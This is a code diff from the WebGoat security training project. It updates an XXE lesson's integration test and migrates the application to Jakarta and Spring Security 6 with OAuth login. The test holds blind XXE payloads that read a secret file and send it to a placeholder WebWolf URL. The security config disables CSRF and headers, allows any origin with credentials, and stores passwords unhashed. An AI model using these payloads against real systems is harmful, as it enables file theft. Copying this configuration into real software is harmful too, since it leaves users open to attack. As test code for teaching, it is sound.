+      <?xml version="1.0" encoding="UTF-8"?><!ENTITY % file SYSTEM "file:SECRET"><!ENTITY % all "<!ENTITY send SYSTEM 'WEBWOLFURL?text=%file;'>">%all;
+      """;
+  private static final String xxe7 =
+      """
+      <?xml version="1.0" encoding="UTF-8"?><!DOCTYPE comment [<!ENTITY % remote SYSTEM "WEBWOLFURL/USERNAME/blind.dtd">%remote;]><comment><text>test&send;</text></comment>
+      """;

  private String webGoatHomeDirectory;
  private String webWolfFileServerLocation;
@ -38,9 +45,13 @@ public class XXEIntegrationTest extends IntegrationTest {
        .get(url("service/enable-security.mvc"))
        .then()
        .statusCode(200);
-        checkAssignment(url("/WebGoat/xxe/simple"), ContentType.XML, xxe3, false);
-        checkAssignment(url("/WebGoat/xxe/content-type"), ContentType.XML, xxe4, false);
-        checkAssignment(url("/WebGoat/xxe/blind"), ContentType.XML, "<comment><text>" + getSecret() + "</text></comment>", false);
+    checkAssignment(url("xxe/simple"), ContentType.XML, xxe3, false);
+    checkAssignment(url("xxe/content-type"), ContentType.XML, xxe4, false);
+    checkAssignment(
+        url("xxe/blind"),
+        ContentType.XML,
+        "<comment><text>" + getSecret() + "</text></comment>",
+        false);
  }

  /**
@ -56,7 +67,8 @@ public class XXEIntegrationTest extends IntegrationTest {
      Files.delete(webWolfFilePath.resolve(Paths.get(this.getUser(), "blind.dtd")));
    }
    String secretFile = webGoatHomeDirectory.concat("/XXE/" + getUser() + "/secret.txt");
-        String dtd7String = dtd7.replace("WEBWOLFURL", webWolfUrl("/landing")).replace("SECRET", secretFile);
+    String dtd7String =
+        dtd7.replace("WEBWOLFURL", webWolfUrl("landing")).replace("SECRET", secretFile);

    // upload DTD
    RestAssured.given()
@ -64,24 +76,35 @@ public class XXEIntegrationTest extends IntegrationTest {
        .relaxedHTTPSValidation()
        .cookie("WEBWOLFSESSION", getWebWolfCookie())
        .multiPart("file", "blind.dtd", dtd7String.getBytes())
-                .post(webWolfUrl("/fileupload"))
+        .post(webWolfUrl("fileupload"))
        .then()
-                .extract().response().getBody().asString();
+        .extract()
+        .response()
+        .getBody()
+        .asString();
    // upload attack
-        String xxe7String = xxe7.replace("WEBWOLFURL", webWolfUrl("/files")).replace("USERNAME", this.getUser());
-        checkAssignment(url("/WebGoat/xxe/blind"), ContentType.XML, xxe7String, false);
+    String xxe7String =
+        xxe7.replace("WEBWOLFURL", webWolfUrl("files")).replace("USERNAME", this.getUser());
+    checkAssignment(url("xxe/blind"), ContentType.XML, xxe7String, false);

    // read results from WebWolf
-        String result = RestAssured.given()
+    String result =
+        RestAssured.given()
            .when()
            .relaxedHTTPSValidation()
            .cookie("WEBWOLFSESSION", getWebWolfCookie())
-                .get(webWolfUrl("/WebWolf/requests"))
+            .get(webWolfUrl("requests"))
            .then()
-                .extract().response().getBody().asString();
+            .extract()
+            .response()
+            .getBody()
+            .asString();
    result = result.replace("%20", " ");
    if (-1 != result.lastIndexOf("WebGoat 8.0 rocks... (")) {
-            result = result.substring(result.lastIndexOf("WebGoat 8.0 rocks... ("), result.lastIndexOf("WebGoat 8.0 rocks... (") + 33);
+      result =
+          result.substring(
+              result.lastIndexOf("WebGoat 8.0 rocks... ("),
+              result.lastIndexOf("WebGoat 8.0 rocks... (") + 33);
    }
    return result;
  }
@ -91,9 +114,13 @@ public class XXEIntegrationTest extends IntegrationTest {
    startLesson("XXE", true);
    webGoatHomeDirectory = webGoatServerDirectory();
    webWolfFileServerLocation = getWebWolfFileServerLocation();
-        checkAssignment(url("/WebGoat/xxe/simple"), ContentType.XML, xxe3, true);
-        checkAssignment(url("/WebGoat/xxe/content-type"), ContentType.XML, xxe4, true);
-        checkAssignment(url("/WebGoat/xxe/blind"), ContentType.XML, "<comment><text>" + getSecret() + "</text></comment>", true);
+    checkAssignment(url("xxe/simple"), ContentType.XML, xxe3, true);
+    checkAssignment(url("xxe/content-type"), ContentType.XML, xxe4, true);
+    checkAssignment(
+        url("xxe/blind"),
+        ContentType.XML,
+        "<comment><text>" + getSecret() + "</text></comment>",
+        true);
    checkResults("xxe/");
  }
 }
--- a/src/main/java/org/owasp/webgoat/container/AjaxAuthenticationEntryPoint.java
+++ b/src/main/java/org/owasp/webgoat/container/AjaxAuthenticationEntryPoint.java
@ -27,10 +27,10 @@
 */
 package org.owasp.webgoat.container;

+import jakarta.servlet.ServletException;
+import jakarta.servlet.http.HttpServletRequest;
+import jakarta.servlet.http.HttpServletResponse;
 import java.io.IOException;
-import javax.servlet.ServletException;
-import javax.servlet.http.HttpServletRequest;
-import javax.servlet.http.HttpServletResponse;
 import org.springframework.security.core.AuthenticationException;
 import org.springframework.security.web.authentication.LoginUrlAuthenticationEntryPoint;

--- a/src/main/java/org/owasp/webgoat/container/AsciiDoctorTemplateResolver.java
+++ b/src/main/java/org/owasp/webgoat/container/AsciiDoctorTemplateResolver.java
@ -33,6 +33,7 @@ package org.owasp.webgoat.container;
 import static org.asciidoctor.Asciidoctor.Factory.create;

 import io.undertow.util.Headers;
+import jakarta.servlet.http.HttpServletRequest;
 import java.io.IOException;
 import java.io.InputStream;
 import java.io.InputStreamReader;
@ -41,7 +42,6 @@ import java.util.HashMap;
 import java.util.Locale;
 import java.util.Map;
 import java.util.Set;
-import javax.servlet.http.HttpServletRequest;
 import lombok.extern.slf4j.Slf4j;
 import org.asciidoctor.Asciidoctor;
 import org.asciidoctor.extension.JavaExtensionRegistry;
@ -60,7 +60,7 @@ import org.thymeleaf.templateresource.StringTemplateResource;
 * Thymeleaf resolver for AsciiDoc used in the lesson, can be used as follows inside a lesson file:
 *
 * <p><code>
- * <div th:replace="doc:AccessControlMatrix_plan.adoc"></div>
+ * <div th:replace="~{doc:AccessControlMatrix_plan.adoc}"></div>
 * </code>
 */
@Slf4j
--- a/src/main/java/org/owasp/webgoat/container/DatabaseConfiguration.java
+++ b/src/main/java/org/owasp/webgoat/container/DatabaseConfiguration.java
@ -6,7 +6,6 @@ import javax.sql.DataSource;
 import lombok.RequiredArgsConstructor;
 import lombok.extern.slf4j.Slf4j;
 import org.flywaydb.core.Flyway;
-import org.owasp.webgoat.container.lessons.LessonScanner;
 import org.owasp.webgoat.container.service.RestartLessonService;
 import org.springframework.boot.autoconfigure.jdbc.DataSourceProperties;
 import org.springframework.context.annotation.Bean;
@ -20,7 +19,6 @@ import org.springframework.jdbc.datasource.DriverManagerDataSource;
 public class DatabaseConfiguration {

  private final DataSourceProperties properties;
-  private final LessonScanner lessonScanner;

  @Bean
  @Primary
@ -50,12 +48,13 @@ public class DatabaseConfiguration {
  }

  @Bean
-  public Function<String, Flyway> flywayLessons(LessonDataSource lessonDataSource) {
+  public Function<String, Flyway> flywayLessons() {
    return schema ->
        Flyway.configure()
            .configuration(Map.of("driver", properties.getDriverClassName()))
            .schemas(schema)
-            .dataSource(lessonDataSource)
+            .cleanDisabled(false)
+            .dataSource(dataSource())
            .locations("lessons")
            .load();
  }
--- a/src/main/java/org/owasp/webgoat/container/MvcConfiguration.java
+++ b/src/main/java/org/owasp/webgoat/container/MvcConfiguration.java
@ -56,10 +56,10 @@ import org.springframework.web.servlet.config.annotation.WebMvcConfigurer;
 import org.springframework.web.servlet.i18n.LocaleChangeInterceptor;
 import org.springframework.web.servlet.i18n.SessionLocaleResolver;
 import org.thymeleaf.IEngineConfiguration;
-import org.thymeleaf.extras.springsecurity5.dialect.SpringSecurityDialect;
-import org.thymeleaf.spring5.SpringTemplateEngine;
-import org.thymeleaf.spring5.templateresolver.SpringResourceTemplateResolver;
-import org.thymeleaf.spring5.view.ThymeleafViewResolver;
+import org.thymeleaf.extras.springsecurity6.dialect.SpringSecurityDialect;
+import org.thymeleaf.spring6.SpringTemplateEngine;
+import org.thymeleaf.spring6.templateresolver.SpringResourceTemplateResolver;
+import org.thymeleaf.spring6.view.ThymeleafViewResolver;
 import org.thymeleaf.templatemode.TemplateMode;
 import org.thymeleaf.templateresolver.FileTemplateResolver;
 import org.thymeleaf.templateresolver.ITemplateResolver;
@ -242,6 +242,7 @@ public class MvcConfiguration implements WebMvcConfigurer {
  @Override
  public void addInterceptors(InterceptorRegistry registry) {
    registry.addInterceptor(localeChangeInterceptor());
+    registry.addInterceptor(new UserInterceptor());
  }

  @Bean
--- a/src/main/java/org/owasp/webgoat/container/UserInterceptor.java
+++ b/src/main/java/org/owasp/webgoat/container/UserInterceptor.java
@ -0,0 +1,53 @@
+package org.owasp.webgoat.container;
+
+import jakarta.servlet.http.HttpServletRequest;
+import jakarta.servlet.http.HttpServletResponse;
+import org.owasp.webgoat.container.asciidoc.EnvironmentExposure;
+import org.springframework.core.env.Environment;
+import org.springframework.security.core.Authentication;
+import org.springframework.security.core.context.SecurityContextHolder;
+import org.springframework.web.servlet.HandlerInterceptor;
+import org.springframework.web.servlet.ModelAndView;
+
+public class UserInterceptor implements HandlerInterceptor {
+
+  private Environment env = EnvironmentExposure.getEnv();
+
+  @Override
+  public boolean preHandle(HttpServletRequest request, HttpServletResponse response, Object handler)
+      throws Exception {
+    // Do nothing
+    return true;
+  }
+
+  @Override
+  public void postHandle(
+      HttpServletRequest request,
+      HttpServletResponse response,
+      Object handler,
+      ModelAndView modelAndView)
+      throws Exception {
+    if (null != modelAndView) {
+      Authentication authentication = SecurityContextHolder.getContext().getAuthentication();
+      if (null != authentication) {
+        modelAndView.getModel().put("username", authentication.getName());
+      }
+      if (null != env) {
+        String githubClientId =
+            env.getProperty("spring.security.oauth2.client.registration.github.client-id");
+        if (null != githubClientId && !githubClientId.equals("dummy")) {
+          modelAndView.getModel().put("oauth", Boolean.TRUE);
+        }
+      } else {
+        modelAndView.getModel().put("oauth", Boolean.FALSE);
+      }
+    }
+  }
+
+  @Override
+  public void afterCompletion(
+      HttpServletRequest request, HttpServletResponse response, Object handler, Exception ex)
+      throws Exception {
+    // Do nothing
+  }
+}
--- a/src/main/java/org/owasp/webgoat/container/WebGoat.java
+++ b/src/main/java/org/owasp/webgoat/container/WebGoat.java
@ -34,6 +34,9 @@ package org.owasp.webgoat.container;
 import java.io.File;
 import org.owasp.webgoat.container.session.UserSessionData;
 import org.owasp.webgoat.container.session.WebSession;
+import org.owasp.webgoat.container.users.UserRepository;
+import org.owasp.webgoat.container.users.WebGoatUser;
+import org.springframework.beans.factory.annotation.Autowired;
 import org.springframework.beans.factory.annotation.Value;
 import org.springframework.boot.autoconfigure.EnableAutoConfiguration;
 import org.springframework.context.annotation.Bean;
@ -42,6 +45,8 @@ import org.springframework.context.annotation.Configuration;
 import org.springframework.context.annotation.PropertySource;
 import org.springframework.context.annotation.Scope;
 import org.springframework.context.annotation.ScopedProxyMode;
+import org.springframework.security.core.context.SecurityContextHolder;
+import org.springframework.security.oauth2.core.user.DefaultOAuth2User;
 import org.springframework.web.client.RestTemplate;

@Configuration
@ -50,6 +55,8 @@ import org.springframework.web.client.RestTemplate;
@EnableAutoConfiguration
 public class WebGoat {

+  @Autowired private UserRepository userRepository;
+
  @Bean(name = "pluginTargetDirectory")
  public File pluginTargetDirectory(@Value("${webgoat.user.directory}") final String webgoatHome) {
    return new File(webgoatHome);
@ -58,7 +65,14 @@ public class WebGoat {
  @Bean
  @Scope(value = "session", proxyMode = ScopedProxyMode.TARGET_CLASS)
  public WebSession webSession() {
-    return new WebSession();
+    WebGoatUser webGoatUser = null;
+    Object principal = SecurityContextHolder.getContext().getAuthentication().getPrincipal();
+    if (principal instanceof WebGoatUser) {
+      webGoatUser = (WebGoatUser) principal;
+    } else if (principal instanceof DefaultOAuth2User) {
+      webGoatUser = userRepository.findByUsername(((DefaultOAuth2User) principal).getName());
+    }
+    return new WebSession(webGoatUser);
  }

  @Bean
--- a/src/main/java/org/owasp/webgoat/container/WebSecurityConfig.java
+++ b/src/main/java/org/owasp/webgoat/container/WebSecurityConfig.java
@ -30,6 +30,7 @@
 */
 package org.owasp.webgoat.container;

+import java.util.List;
 import lombok.AllArgsConstructor;
 import org.owasp.webgoat.container.users.UserService;
 import org.springframework.beans.factory.annotation.Autowired;
@ -37,50 +38,73 @@ import org.springframework.context.annotation.Bean;
 import org.springframework.context.annotation.Configuration;
 import org.springframework.security.authentication.AuthenticationManager;
 import org.springframework.security.config.annotation.authentication.builders.AuthenticationManagerBuilder;
+import org.springframework.security.config.annotation.authentication.configuration.AuthenticationConfiguration;
 import org.springframework.security.config.annotation.web.builders.HttpSecurity;
 import org.springframework.security.config.annotation.web.configuration.EnableWebSecurity;
-import org.springframework.security.config.annotation.web.configuration.WebSecurityConfigurerAdapter;
-import org.springframework.security.config.annotation.web.configurers.ExpressionUrlAuthorizationConfigurer;
 import org.springframework.security.core.userdetails.UserDetailsService;
 import org.springframework.security.crypto.password.NoOpPasswordEncoder;
+import org.springframework.security.web.SecurityFilterChain;
+import org.springframework.web.cors.CorsConfiguration;
+import org.springframework.web.cors.CorsConfigurationSource;
+import org.springframework.web.cors.UrlBasedCorsConfigurationSource;

 /** Security configuration for WebGoat. */
@Configuration
@AllArgsConstructor
@EnableWebSecurity
-public class WebSecurityConfig extends WebSecurityConfigurerAdapter {
+public class WebSecurityConfig {

  private final UserService userDetailsService;

-  @Override
-  protected void configure(HttpSecurity http) throws Exception {
-    ExpressionUrlAuthorizationConfigurer<HttpSecurity>.ExpressionInterceptUrlRegistry security =
-        http.authorizeRequests()
-            .antMatchers(
+  @Bean
+  public SecurityFilterChain filterChain(HttpSecurity http) throws Exception {
+    return http.authorizeHttpRequests(
+            auth ->
+                auth.requestMatchers(
+                        "/",
+                        "/favicon.ico",
                        "/css/**",
                        "/images/**",
                        "/js/**",
                        "fonts/**",
                        "/plugins/**",
                        "/registration",
-                "/register.mvc",
-                "/actuator/**")
+                        "/register.mvc")
                    .permitAll()
                    .anyRequest()
-            .authenticated();
-    security
-        .and()
-        .formLogin()
+                    .authenticated())
+        .formLogin(
+            login ->
+                login
                    .loginPage("/login")
                    .defaultSuccessUrl("/welcome.mvc", true)
                    .usernameParameter("username")
                    .passwordParameter("password")
-        .permitAll();
-    security.and().logout().deleteCookies("JSESSIONID").invalidateHttpSession(true);
-    security.and().csrf().disable();
+                    .permitAll())
+        .oauth2Login(
+            oidc -> {
+              oidc.defaultSuccessUrl("/login-oauth.mvc");
+              oidc.loginPage("/login");
+            })
+        .logout(logout -> logout.deleteCookies("JSESSIONID").invalidateHttpSession(true))
+        .cors(cors -> cors.configurationSource(corsConfigurationSource()))
+        .csrf(csrf -> csrf.disable())
+        .headers(headers -> headers.disable())
+        .exceptionHandling(
+            handling ->
+                handling.authenticationEntryPoint(new AjaxAuthenticationEntryPoint("/login")))
+        .build();
+  }

-    http.headers().cacheControl().disable();
-    http.exceptionHandling().authenticationEntryPoint(new AjaxAuthenticationEntryPoint("/login"));
+  private CorsConfigurationSource corsConfigurationSource() {
+    CorsConfiguration configuration = new CorsConfiguration();
+    configuration.addAllowedOriginPattern(CorsConfiguration.ALL);
+    configuration.setAllowedMethods(List.of(CorsConfiguration.ALL));
+    configuration.setAllowedHeaders(List.of(CorsConfiguration.ALL));
+    configuration.setAllowCredentials(true);
+    UrlBasedCorsConfigurationSource source = new UrlBasedCorsConfigurationSource();
+    source.registerCorsConfiguration("/**", configuration);
+    return source;
  }

  @Autowired
@ -89,18 +113,16 @@ public class WebSecurityConfig extends WebSecurityConfigurerAdapter {
  }

  @Bean
-  @Override
-  public UserDetailsService userDetailsServiceBean() throws Exception {
+  public UserDetailsService userDetailsServiceBean() {
    return userDetailsService;
  }

-  @Override
  @Bean
-  protected AuthenticationManager authenticationManager() throws Exception {
-    return super.authenticationManager();
+  public AuthenticationManager authenticationManager(
+      AuthenticationConfiguration authenticationConfiguration) throws Exception {
+    return authenticationConfiguration.getAuthenticationManager();
  }

-  @SuppressWarnings("deprecation")
  @Bean
  public NoOpPasswordEncoder passwordEncoder() {
    return (NoOpPasswordEncoder) NoOpPasswordEncoder.getInstance();
--- a/src/main/java/org/owasp/webgoat/container/asciidoc/EnvironmentExposure.java
+++ b/src/main/java/org/owasp/webgoat/container/asciidoc/EnvironmentExposure.java
@ -16,7 +16,7 @@ public class EnvironmentExposure implements ApplicationContextAware {
  private static ApplicationContext context;

  public static Environment getEnv() {
-    return context.getEnvironment();
+    return (null != context) ? context.getEnvironment() : null;
  }

  @Override
--- a/src/main/java/org/owasp/webgoat/container/asciidoc/WebWolfMacro.java
+++ b/src/main/java/org/owasp/webgoat/container/asciidoc/WebWolfMacro.java
@ -2,11 +2,8 @@ package org.owasp.webgoat.container.asciidoc;

 import java.util.HashMap;
 import java.util.Map;
-import javax.servlet.http.HttpServletRequest;
 import org.asciidoctor.ast.ContentNode;
 import org.asciidoctor.extension.InlineMacroProcessor;
-import org.springframework.web.context.request.RequestContextHolder;
-import org.springframework.web.context.request.ServletRequestAttributes;

 /**
 * Usage in asciidoc:
@ -26,7 +23,7 @@ public class WebWolfMacro extends InlineMacroProcessor {
  @Override
  public Object process(ContentNode contentNode, String linkText, Map<String, Object> attributes) {
    var env = EnvironmentExposure.getEnv();
-    var hostname = determineHost(env.getProperty("webwolf.port"));
+    var hostname = env.getProperty("webwolf.url");
    var target = (String) attributes.getOrDefault("target", "home");
    var href = hostname + "/" + target;

@ -45,29 +42,4 @@ public class WebWolfMacro extends InlineMacroProcessor {
  private boolean displayCompleteLinkNoFormatting(Map<String, Object> attributes) {
    return attributes.values().stream().anyMatch(a -> a.equals("noLink"));
  }
-
-  /**
-   * Determine the host from the hostname and ports that were used. The purpose is to make it
-   * possible to use the application behind a reverse proxy. For instance in the docker
-   * compose/stack version with webgoat webwolf and nginx proxy. You do not have to use the
-   * indicated hostname, but if you do, you should define two hosts aliases 127.0.0.1
-   * www.webgoat.local www.webwolf.local
-   */
-  private String determineHost(String port) {
-    HttpServletRequest request =
-        ((ServletRequestAttributes) RequestContextHolder.currentRequestAttributes()).getRequest();
-    String host = request.getHeader("Host");
-    int semicolonIndex = host.indexOf(":");
-    if (semicolonIndex == -1 || host.endsWith(":80")) {
-      host = host.replace(":80", "").replace("www.webgoat.local", "www.webwolf.local");
-    } else {
-      host = host.substring(0, semicolonIndex);
-      host = host.concat(":").concat(port);
-    }
-    return "http://" + host + (includeWebWolfContext() ? "/WebWolf" : "");
-  }
-
-  protected boolean includeWebWolfContext() {
-    return true;
-  }
 }
--- a/src/main/java/org/owasp/webgoat/container/asciidoc/WebWolfRootMacro.java
+++ b/src/main/java/org/owasp/webgoat/container/asciidoc/WebWolfRootMacro.java
@ -17,9 +17,4 @@ public class WebWolfRootMacro extends WebWolfMacro {
  public WebWolfRootMacro(String macroName, Map<String, Object> config) {
    super(macroName, config);
  }
-
-  @Override
-  protected boolean includeWebWolfContext() {
-    return false;
-  }
 }
--- a/src/main/java/org/owasp/webgoat/container/assignments/LessonTrackerInterceptor.java
+++ b/src/main/java/org/owasp/webgoat/container/assignments/LessonTrackerInterceptor.java
@ -75,7 +75,8 @@ public class LessonTrackerInterceptor implements ResponseBodyAdvice<Object> {
    } else {
      userTracker.assignmentFailed(webSession.getCurrentLesson());
    }
-    userTrackerRepository.saveAndFlush(userTracker);
+    userTrackerRepository.save(userTracker);
+
    return attackResult;
  }
 }
--- a/src/main/java/org/owasp/webgoat/container/controller/StartLesson.java
+++ b/src/main/java/org/owasp/webgoat/container/controller/StartLesson.java
@ -31,7 +31,7 @@
 */
 package org.owasp.webgoat.container.controller;

-import javax.servlet.http.HttpServletRequest;
+import jakarta.servlet.http.HttpServletRequest;
 import org.owasp.webgoat.container.session.Course;
 import org.owasp.webgoat.container.session.WebSession;
 import org.springframework.stereotype.Controller;
--- a/src/main/java/org/owasp/webgoat/container/controller/Welcome.java
+++ b/src/main/java/org/owasp/webgoat/container/controller/Welcome.java
@ -29,8 +29,8 @@
 */
 package org.owasp.webgoat.container.controller;

-import javax.servlet.http.HttpServletRequest;
-import javax.servlet.http.HttpSession;
+import jakarta.servlet.http.HttpServletRequest;
+import jakarta.servlet.http.HttpSession;
 import org.springframework.stereotype.Controller;
 import org.springframework.web.bind.annotation.GetMapping;
 import org.springframework.web.servlet.ModelAndView;
@ -49,7 +49,7 @@ public class Welcome {
  /**
   * welcome.
   *
-   * @param request a {@link javax.servlet.http.HttpServletRequest} object.
+   * @param request a {@link jakarta.servlet.http.HttpServletRequest} object.
   * @return a {@link org.springframework.web.servlet.ModelAndView} object.
   */
  @GetMapping(path = {"welcome.mvc"})
--- a/src/main/java/org/owasp/webgoat/container/lessons/Assignment.java
+++ b/src/main/java/org/owasp/webgoat/container/lessons/Assignment.java
@ -1,9 +1,14 @@
 package org.owasp.webgoat.container.lessons;

+import jakarta.persistence.Entity;
+import jakarta.persistence.GeneratedValue;
+import jakarta.persistence.GenerationType;
+import jakarta.persistence.Id;
+import jakarta.persistence.Transient;
 import java.util.ArrayList;
 import java.util.List;
-import javax.persistence.*;
-import lombok.*;
+import lombok.EqualsAndHashCode;
+import lombok.Getter;

 /**
 * ************************************************************************************************
@ -41,7 +46,7 @@ import lombok.*;
 public class Assignment {

  @Id
-  @GeneratedValue(strategy = GenerationType.AUTO)
+  @GeneratedValue(strategy = GenerationType.IDENTITY)
  private Long id;

  private String name;
--- a/src/main/java/org/owasp/webgoat/container/lessons/LessonConnectionInvocationHandler.java
+++ b/src/main/java/org/owasp/webgoat/container/lessons/LessonConnectionInvocationHandler.java
@ -4,15 +4,13 @@ import java.lang.reflect.InvocationHandler;
 import java.lang.reflect.InvocationTargetException;
 import java.lang.reflect.Method;
 import java.sql.Connection;
-import lombok.extern.slf4j.Slf4j;
 import org.owasp.webgoat.container.users.WebGoatUser;
 import org.springframework.security.core.context.SecurityContextHolder;

 /**
 * Handler which sets the correct schema for the currently bounded user. This way users are not
- * seeing each other data and we can reset data for just one particular user.
+ * seeing each other data, and we can reset data for just one particular user.
 */
-@Slf4j
 public class LessonConnectionInvocationHandler implements InvocationHandler {

  private final Connection targetConnection;
--- a/src/main/java/org/owasp/webgoat/container/session/WebSession.java
+++ b/src/main/java/org/owasp/webgoat/container/session/WebSession.java
@ -3,7 +3,6 @@ package org.owasp.webgoat.container.session;
 import java.io.Serializable;
 import org.owasp.webgoat.container.lessons.Lesson;
 import org.owasp.webgoat.container.users.WebGoatUser;
-import org.springframework.security.core.context.SecurityContextHolder;

 /**
 * *************************************************************************************************
@ -40,13 +39,12 @@ import org.springframework.security.core.context.SecurityContextHolder;
 public class WebSession implements Serializable {

  private static final long serialVersionUID = -4270066103101711560L;
-  private final WebGoatUser currentUser;
+  private WebGoatUser currentUser;
  private transient Lesson currentLesson;
  private boolean securityEnabled;

-  public WebSession() {
-    this.currentUser =
-        (WebGoatUser) SecurityContextHolder.getContext().getAuthentication().getPrincipal();
+  public WebSession(WebGoatUser webGoatUser) {
+    this.currentUser = webGoatUser;
  }

  /**
--- a/src/main/java/org/owasp/webgoat/container/users/LessonTracker.java
+++ b/src/main/java/org/owasp/webgoat/container/users/LessonTracker.java
@ -1,8 +1,20 @@
 package org.owasp.webgoat.container.users;

-import java.util.*;
+import jakarta.persistence.CascadeType;
+import jakarta.persistence.Entity;
+import jakarta.persistence.FetchType;
+import jakarta.persistence.GeneratedValue;
+import jakarta.persistence.GenerationType;
+import jakarta.persistence.Id;
+import jakarta.persistence.OneToMany;
+import jakarta.persistence.Version;
+import java.util.HashSet;
+import java.util.List;
+import java.util.Map;
+import java.util.Optional;
+import java.util.Set;
 import java.util.stream.Collectors;
-import javax.persistence.*;
+import lombok.EqualsAndHashCode;
 import lombok.Getter;
 import org.owasp.webgoat.container.lessons.Assignment;
 import org.owasp.webgoat.container.lessons.Lesson;
@ -39,10 +51,11 @@ import org.owasp.webgoat.container.lessons.Lesson;
 * @since October 29, 2003
 */
@Entity
+@EqualsAndHashCode
 public class LessonTracker {

  @Id
-  @GeneratedValue(strategy = GenerationType.AUTO)
+  @GeneratedValue(strategy = GenerationType.IDENTITY)
  private Long id;

  @Getter private String lessonName;
--- a/src/main/java/org/owasp/webgoat/container/users/RegistrationController.java
+++ b/src/main/java/org/owasp/webgoat/container/users/RegistrationController.java
@ -1,11 +1,12 @@
 package org.owasp.webgoat.container.users;

-import javax.servlet.ServletException;
-import javax.servlet.http.HttpServletRequest;
-import javax.validation.Valid;
+import jakarta.servlet.ServletException;
+import jakarta.servlet.http.HttpServletRequest;
+import jakarta.validation.Valid;
+import java.util.UUID;
 import lombok.AllArgsConstructor;
 import lombok.extern.slf4j.Slf4j;
-import org.springframework.security.authentication.AuthenticationManager;
+import org.springframework.security.core.Authentication;
 import org.springframework.stereotype.Controller;
 import org.springframework.validation.BindingResult;
 import org.springframework.web.bind.annotation.GetMapping;
@ -23,7 +24,6 @@ public class RegistrationController {

  private UserValidator userValidator;
  private UserService userService;
-  private AuthenticationManager authenticationManager;

  @GetMapping("/registration")
  public String showForm(UserForm userForm) {
@ -46,4 +46,12 @@ public class RegistrationController {

    return "redirect:/attack";
  }
+
+  @GetMapping("/login-oauth.mvc")
+  public String registrationOAUTH(Authentication authentication, HttpServletRequest request)
+      throws ServletException {
+    log.info("register oauth user in database");
+    userService.addUser(authentication.getName(), UUID.randomUUID().toString());
+    return "redirect:/welcome.mvc";
+  }
 }
--- a/src/main/java/org/owasp/webgoat/container/users/Scoreboard.java
+++ b/src/main/java/org/owasp/webgoat/container/users/Scoreboard.java
@ -1,8 +1,8 @@
 package org.owasp.webgoat.container.users;

-import java.util.ArrayList;
 import java.util.List;
 import java.util.Optional;
+import java.util.stream.Collectors;
 import lombok.AllArgsConstructor;
 import lombok.Getter;
 import org.owasp.webgoat.container.i18n.PluginMessages;
@ -35,19 +35,15 @@ public class Scoreboard {

  @GetMapping("/scoreboard-data")
  public List<Ranking> getRankings() {
-    List<WebGoatUser> allUsers = userRepository.findAll();
-    List<Ranking> rankings = new ArrayList<>();
-    for (WebGoatUser user : allUsers) {
-      if (user.getUsername().startsWith("csrf-")) {
-        // the csrf- assignment specific users do not need to be in the overview
-        continue;
-      }
-      UserTracker userTracker = userTrackerRepository.findByUser(user.getUsername());
-      rankings.add(new Ranking(user.getUsername(), challengesSolved(userTracker)));
-    }
-    /* sort on number of captured flags to present an ordered ranking */
-    rankings.sort((o1, o2) -> o2.getFlagsCaptured().size() - o1.getFlagsCaptured().size());
-    return rankings;
+    return userRepository.findAll().stream()
+        .filter(user -> !user.getUsername().startsWith("csrf-"))
+        .map(
+            user ->
+                new Ranking(
+                    user.getUsername(),
+                    challengesSolved(userTrackerRepository.findByUser(user.getUsername()))))
+        .sorted((o1, o2) -> o2.getFlagsCaptured().size() - o1.getFlagsCaptured().size())
+        .collect(Collectors.toList());
  }

  private List<String> challengesSolved(UserTracker userTracker) {
--- a/src/main/java/org/owasp/webgoat/container/users/UserForm.java
+++ b/src/main/java/org/owasp/webgoat/container/users/UserForm.java
@ -1,8 +1,8 @@
 package org.owasp.webgoat.container.users;

-import javax.validation.constraints.NotNull;
-import javax.validation.constraints.Pattern;
-import javax.validation.constraints.Size;
+import jakarta.validation.constraints.NotNull;
+import jakarta.validation.constraints.Pattern;
+import jakarta.validation.constraints.Size;
 import lombok.Getter;
 import lombok.Setter;

--- a/src/main/java/org/owasp/webgoat/container/users/UserTracker.java
+++ b/src/main/java/org/owasp/webgoat/container/users/UserTracker.java
@ -1,11 +1,19 @@
 package org.owasp.webgoat.container.users;

+import jakarta.persistence.CascadeType;
+import jakarta.persistence.Column;
+import jakarta.persistence.Entity;
+import jakarta.persistence.FetchType;
+import jakarta.persistence.GeneratedValue;
+import jakarta.persistence.GenerationType;
+import jakarta.persistence.Id;
+import jakarta.persistence.OneToMany;
 import java.util.HashSet;
 import java.util.Map;
 import java.util.Optional;
 import java.util.Set;
 import java.util.stream.Collectors;
-import javax.persistence.*;
+import lombok.EqualsAndHashCode;
 import lombok.extern.slf4j.Slf4j;
 import org.owasp.webgoat.container.lessons.Assignment;
 import org.owasp.webgoat.container.lessons.Lesson;
@ -43,10 +51,11 @@ import org.owasp.webgoat.container.lessons.Lesson;
 */
@Slf4j
@Entity
+@EqualsAndHashCode
 public class UserTracker {

  @Id
-  @GeneratedValue(strategy = GenerationType.AUTO)
+  @GeneratedValue(strategy = GenerationType.IDENTITY)
  private Long id;

  @Column(name = "username")
--- a/src/main/java/org/owasp/webgoat/container/users/WebGoatUser.java
+++ b/src/main/java/org/owasp/webgoat/container/users/WebGoatUser.java
@ -1,10 +1,10 @@
 package org.owasp.webgoat.container.users;

+import jakarta.persistence.Entity;
+import jakarta.persistence.Id;
+import jakarta.persistence.Transient;
 import java.util.Collection;
 import java.util.Collections;
-import javax.persistence.Entity;
-import javax.persistence.Id;
-import javax.persistence.Transient;
 import lombok.Getter;
 import org.springframework.security.core.GrantedAuthority;
 import org.springframework.security.core.authority.SimpleGrantedAuthority;
--- a/src/main/java/org/owasp/webgoat/lessons/authbypass/AccountVerificationHelper.java
+++ b/src/main/java/org/owasp/webgoat/lessons/authbypass/AccountVerificationHelper.java
@ -42,6 +42,7 @@ public class AccountVerificationHelper {
  static {
    secQuestionStore.put(verifyUserId, userSecQuestions);
  }
+
  // end 'data store set up'

  // this is to aid feedback in the attack process and is not intended to be part of the
@ -68,6 +69,7 @@ public class AccountVerificationHelper {

    return likely;
  }
+
  // end of cheating check ... the method below is the one of real interest. Can you find the flaw?

  public boolean verifyAccount(Integer userId, HashMap<String, String> submittedQuestions) {
--- a/src/main/java/org/owasp/webgoat/lessons/authbypass/VerifyAccount.java
+++ b/src/main/java/org/owasp/webgoat/lessons/authbypass/VerifyAccount.java
@ -22,13 +22,13 @@

 package org.owasp.webgoat.lessons.authbypass;

+import jakarta.servlet.ServletException;
+import jakarta.servlet.http.HttpServletRequest;
 import java.io.IOException;
 import java.util.Collections;
 import java.util.HashMap;
 import java.util.List;
 import java.util.Map;
-import javax.servlet.ServletException;
